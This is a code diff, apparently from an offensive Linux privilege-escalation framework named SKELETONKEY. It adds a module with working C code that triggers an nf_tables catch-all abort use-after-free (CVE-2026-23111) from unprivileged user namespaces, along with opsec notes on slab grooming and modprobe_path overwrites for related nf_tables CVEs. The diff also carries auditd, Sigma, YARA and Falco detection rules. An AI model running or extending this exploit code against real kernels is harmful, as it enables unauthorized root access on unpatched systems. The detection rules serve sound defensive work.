struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
|
||||
nlh->nlmsg_len = 0;
|
||||
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
|
||||
nlh->nlmsg_seq = seq;
|
||||
nlh->nlmsg_pid = 0;
|
||||
*off += NLMSG_HDRLEN;
|
||||
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||
nf->nfgen_family = family;
|
||||
nf->version = NFNETLINK_V0;
|
||||
nf->res_id = htons(0);
|
||||
*off += sizeof(*nf);
|
||||
}
|
||||
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
{
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
|
||||
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
|
||||
while ((*off) & 3) buf[(*off)++] = 0;
|
||||
}
|
||||
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
|
||||
nlh->nlmsg_len = 0;
|
||||
nlh->nlmsg_type = type;
|
||||
nlh->nlmsg_flags = NLM_F_REQUEST;
|
||||
nlh->nlmsg_seq = seq;
|
||||
nlh->nlmsg_pid = 0;
|
||||
*off += NLMSG_HDRLEN;
|
||||
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||
nf->nfgen_family = AF_UNSPEC;
|
||||
nf->version = NFNETLINK_V0;
|
||||
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
|
||||
*off += sizeof(*nf);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */
|
||||
static const char NFT_MAP_NAME[] = "skeletonkey_map";
|
||||
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A regular (non-base) chain that the catch-all GOTO verdict references.
|
||||
* Once the catch-all element is wrongly (de)activated on abort, this
|
||||
* chain's use-count is mishandled and it can be freed while referenced. */
|
||||
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
|
||||
* elements (including the catch-all) carry GOTO/JUMP verdicts. */
|
||||
static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME);
|
||||
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */
|
||||
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
|
||||
* to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
|
||||
* mishandles on abort. */
|
||||
static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME);
|
||||
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
|
||||
/* catch-all: no key, just the CATCHALL flag */
|
||||
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||
/* data = GOTO verdict referencing our chain by name */
|
||||
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
|
||||
size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
|
||||
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
|
||||
put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
|
||||
end_nest(buf, off, v_at);
|
||||
end_nest(buf, off, data_at);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, list_at);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
/* A deliberately-invalid message: references a set that does not exist,
|
||||
* so the kernel rejects it and ABORTS the whole batch transaction —
|
||||
* running the buggy nft_map_catchall_activate over the active catch-all
|
||||
* element we just created. */
|
||||
static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent");
|
||||
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(buf, off, 1);
|
||||
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, list_at);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
static int nft_send_batch(int sock, const void *buf, size_t len)
|
||||
{
|
||||
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
|
||||
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
|
||||
struct msghdr m = {
|
||||
.msg_name = &dst, .msg_namelen = sizeof dst,
|
||||
.msg_iov = &iov, .msg_iovlen = 1,
|
||||
};
|
||||
if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
|
||||
char rbuf[8192];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
|
||||
if (r <= 0) break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static long slabinfo_active(const char *slab)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
|
||||
long a;
|
||||
if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = nft_catchall_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] nft_catchall: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
|
||||
"catch-all GOTO element and provokes an aborting batch to "
|
||||
"drive the nft_map_catchall_activate UAF, then stops. The "
|
||||
"per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
|
||||
|
||||
/* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
|
||||
* double-handling; isolating means the dispatcher survives. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
if (enter_unpriv_namespaces() < 0) _exit(20);
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); _exit(22);
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); _exit(23); }
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
|
||||
/* Batch 1 (commits): table + GOTO-target chain + verdict map +
|
||||
* catch-all GOTO element. */
|
||||
size_t off = 0;
|
||||
put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||
put_new_table(batch, &off, seq++);
|
||||
put_new_chain(batch, &off, seq++);
|
||||
put_new_map(batch, &off, seq++);
|
||||
put_catchall_goto(batch, &off, seq++);
|
||||
put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
|
||||
if (nft_send_batch(sock, batch, off) < 0) {
|
||||
free(batch); close(sock); _exit(24);
|
||||
}
|
||||
|
||||
long before = slabinfo_active("nft_chain");
|
||||
if (before < 0) before = slabinfo_active("kmalloc-cg-256");
|
||||
|
||||
/* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
|
||||
* invalid op so the whole transaction rolls back, running
|
||||
* nft_map_catchall_activate over the active catch-all element. */
|
||||
size_t off2 = 0;
|
||||
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||
put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */
|
||||
put_aborting_op(batch, &off2, seq++); /* invalid → abort the batch */
|
||||
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
|
||||
nft_send_batch(sock, batch, off2);
|
||||
usleep(50 * 1000);
|
||||
|
||||
long after = slabinfo_active("nft_chain");
|
||||
if (after < 0) after = slabinfo_active("kmalloc-cg-256");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
|
||||
before, after);
|
||||
|
||||
free(batch);
|
||||
close(sock);
|
||||
_exit(100); /* honest: trigger attempted, R/W not completed */
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (!WIFEXITED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
|
||||
"abort-path UAF likely fired (KASAN oops can manifest "
|
||||
"as a child signal)\n", WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc == 100) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
|
||||
"(catch-all GOTO map + aborting batch). The full kernel "
|
||||
"R/W + modprobe_path ROP is NOT bundled, and this "
|
||||
"trigger is reconstructed from public analysis, not "
|
||||
"VM-verified — honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
|
||||
"public PoC leak + cross-cache groom + modprobe_path "
|
||||
"overwrite for CVE-2026-23111.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_catchall: Linux-only module "
|
||||
"(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
static const char nft_catchall_auditd[] =
|
||||
"# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
|
||||
"# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# then nfnetlink batches building a verdict map with a catch-all\n"
|
||||
"# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
|
||||
"# rootless, firewalld) will also trip — tune per environment.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
|
||||
|
||||
static const char nft_catchall_sigma[] =
|
||||
"title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
|
||||
"id: 3e8a1c47-skeletonkey-nft-catchall\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects an unprivileged user creating a user namespace then driving\n"
|
||||
" nftables. CVE-2026-23111 abuses an inverted condition in\n"
|
||||
" nft_map_catchall_activate on transaction abort to UAF a chain still\n"
|
||||
" referenced by a catch-all GOTO verdict. False positives: rootless\n"
|
||||
" containers / firewalld using userns + nft. A previously-unprivileged\n"
|
||||
" process gaining euid 0 is the smoking gun.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
|
||||
" condition: userns and uid0\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
|
||||
|
||||
static const char nft_catchall_falco[] =
|
||||
"- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
|
||||
" delivering nfnetlink batches that build a verdict map with a\n"
|
||||
" catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
|
||||
" nft_map_catchall_activate use-after-free. False positives: rootless\n"
|
||||
" container / firewall tooling.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
|
||||
|
||||
const struct skeletonkey_module nft_catchall_module = {
|
||||
.name = "nft_catchall",
|
||||
.cve = "CVE-2026-23111",
|
||||
.summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
|
||||
.detect = nft_catchall_detect,
|
||||
.exploit = nft_catchall_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */
|
||||
.detect_auditd = nft_catchall_auditd,
|
||||
.detect_sigma = nft_catchall_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall/netlink) bug — no file artifact */
|
||||
.detect_falco = nft_catchall_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_catchall(void)
|
||||
{
|
||||
skeletonkey_register(&nft_catchall_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||
#define NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_catchall_module;
|
||||
|
||||
#endif
|
||||
@@ -77,6 +77,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel range table — fixes per branch.
|
||||
@@ -1027,6 +1028,36 @@ static const char nft_fwd_dup_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
|
||||
|
||||
static const char nft_fwd_dup_yara[] =
|
||||
"rule nft_fwd_dup_cve_2022_25636 : cve_2022_25636 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-25636\"\n"
|
||||
" description = \"nft_fwd/dup actions OOB kmalloc-512 spray tag and log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_FWD\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_fwd_dup.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_fwd_dup_falco[] =
|
||||
"- rule: nft_fwd_dup OOB-write batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating a netdev table with\n"
|
||||
" HW_OFFLOAD chain containing >15 immediate(NF_ACCEPT)\n"
|
||||
" expressions + 1 fwd. The offload walk overruns the action\n"
|
||||
" entries[] array. CVE-2022-25636.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink HW_OFFLOAD batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.25636]\n";
|
||||
|
||||
const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.name = "nft_fwd_dup",
|
||||
.cve = "CVE-2022-25636",
|
||||
@@ -1040,8 +1071,10 @@ const struct skeletonkey_module nft_fwd_dup_module = {
|
||||
.cleanup = nft_fwd_dup_cleanup,
|
||||
.detect_auditd = nft_fwd_dup_auditd,
|
||||
.detect_sigma = nft_fwd_dup_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_fwd_dup_yara,
|
||||
.detect_falco = nft_fwd_dup_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_fwd_dup(void)
|
||||
|
||||
@@ -80,6 +80,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -89,7 +90,7 @@ static const struct kernel_patched_from nft_payload_patched_branches[] = {
|
||||
{4, 14, 302}, /* 4.14.x */
|
||||
{4, 19, 269}, /* 4.19.x */
|
||||
{5, 4, 229}, /* 5.4.x */
|
||||
{5, 10, 163}, /* 5.10.x */
|
||||
{5, 10, 162}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 88}, /* 5.15.x */
|
||||
{6, 1, 6}, /* 6.1.x */
|
||||
{6, 2, 0}, /* mainline fix in 6.2-rc4 */
|
||||
@@ -1138,6 +1139,35 @@ static const char nft_payload_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
|
||||
|
||||
static const char nft_payload_yara[] =
|
||||
"rule nft_payload_cve_2023_0179 : cve_2023_0179 kernel_oob_read_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0179\"\n"
|
||||
" description = \"nft_payload OOB-via-verdict-index breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_payload.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_payload_falco[] =
|
||||
"- rule: nft_payload OOB via verdict-code index by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch with an oversized NFTA_SET_DESC\n"
|
||||
" + NEWSETELEM whose NFTA_PAYLOAD_SREG uses attacker-\n"
|
||||
" controlled verdict code as an index into regs->data[].\n"
|
||||
" CVE-2023-0179.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink payload batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.0179]\n";
|
||||
|
||||
const struct skeletonkey_module nft_payload_module = {
|
||||
.name = "nft_payload",
|
||||
.cve = "CVE-2023-0179",
|
||||
@@ -1151,8 +1181,10 @@ const struct skeletonkey_module nft_payload_module = {
|
||||
.cleanup = nft_payload_cleanup,
|
||||
.detect_auditd = nft_payload_auditd,
|
||||
.detect_sigma = nft_payload_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_payload_yara,
|
||||
.detect_falco = nft_payload_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_payload(void)
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
/*
|
||||
* nft_pipapo_cve_2024_26581 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom.
|
||||
* Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping
|
||||
* Pages" paper, same pipapo set substrate. Full cred-overwrite via
|
||||
* the shared modprobe_path finisher on --full-chain (x86_64).
|
||||
*
|
||||
* The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024):
|
||||
* nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't
|
||||
* properly drain the per-CPU walk state when destroying a pipapo
|
||||
* set. Combined with concurrent SETELEM operations, an attacker
|
||||
* can free elements while another CPU still has references, then
|
||||
* spray msg_msg to refill the freed slabs and pivot through the
|
||||
* walk callbacks → arb R/W → cred overwrite.
|
||||
*
|
||||
* This is the SECOND major bug in the Notselwyn / 'Flipping Pages'
|
||||
* research series (the first, CVE-2024-1086, is our nf_tables
|
||||
* module). Both target the pipapo set type used for IP/port matches.
|
||||
*
|
||||
* Public PoC: not yet released by Notselwyn (responsible
|
||||
* disclosure window), but extensive technical writeup at the
|
||||
* pwning.tech blog. Patch landed pre-disclosure.
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set
|
||||
* type (introduced kernel 5.6). Fix commit 2ee52ae94baa
|
||||
* ("netfilter: nft_set_pipapo: walk over current view on
|
||||
* netlink dump") landed in 6.8-rc + stable backports:
|
||||
* 6.7.x : 6.7.4
|
||||
* 6.6.x : 6.6.16
|
||||
* 6.1.x : 6.1.78
|
||||
* 5.15.x : 5.15.149
|
||||
* 5.10.x : 5.10.210
|
||||
*
|
||||
* Preconditions:
|
||||
* - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns
|
||||
* CAP_NET_ADMIN (same as nf_tables)
|
||||
* - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. Same family as nf_tables.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from nft_pipapo_patched_branches[] = {
|
||||
{5, 10, 210},
|
||||
{5, 15, 149},
|
||||
{6, 1, 78},
|
||||
{6, 6, 16},
|
||||
{6, 7, 4},
|
||||
{6, 8, 0}, /* mainline fix in 6.8-rc */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_pipapo_range = {
|
||||
.patched_from = nft_pipapo_patched_branches,
|
||||
.n_patched_from = sizeof(nft_pipapo_patched_branches) /
|
||||
sizeof(nft_pipapo_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
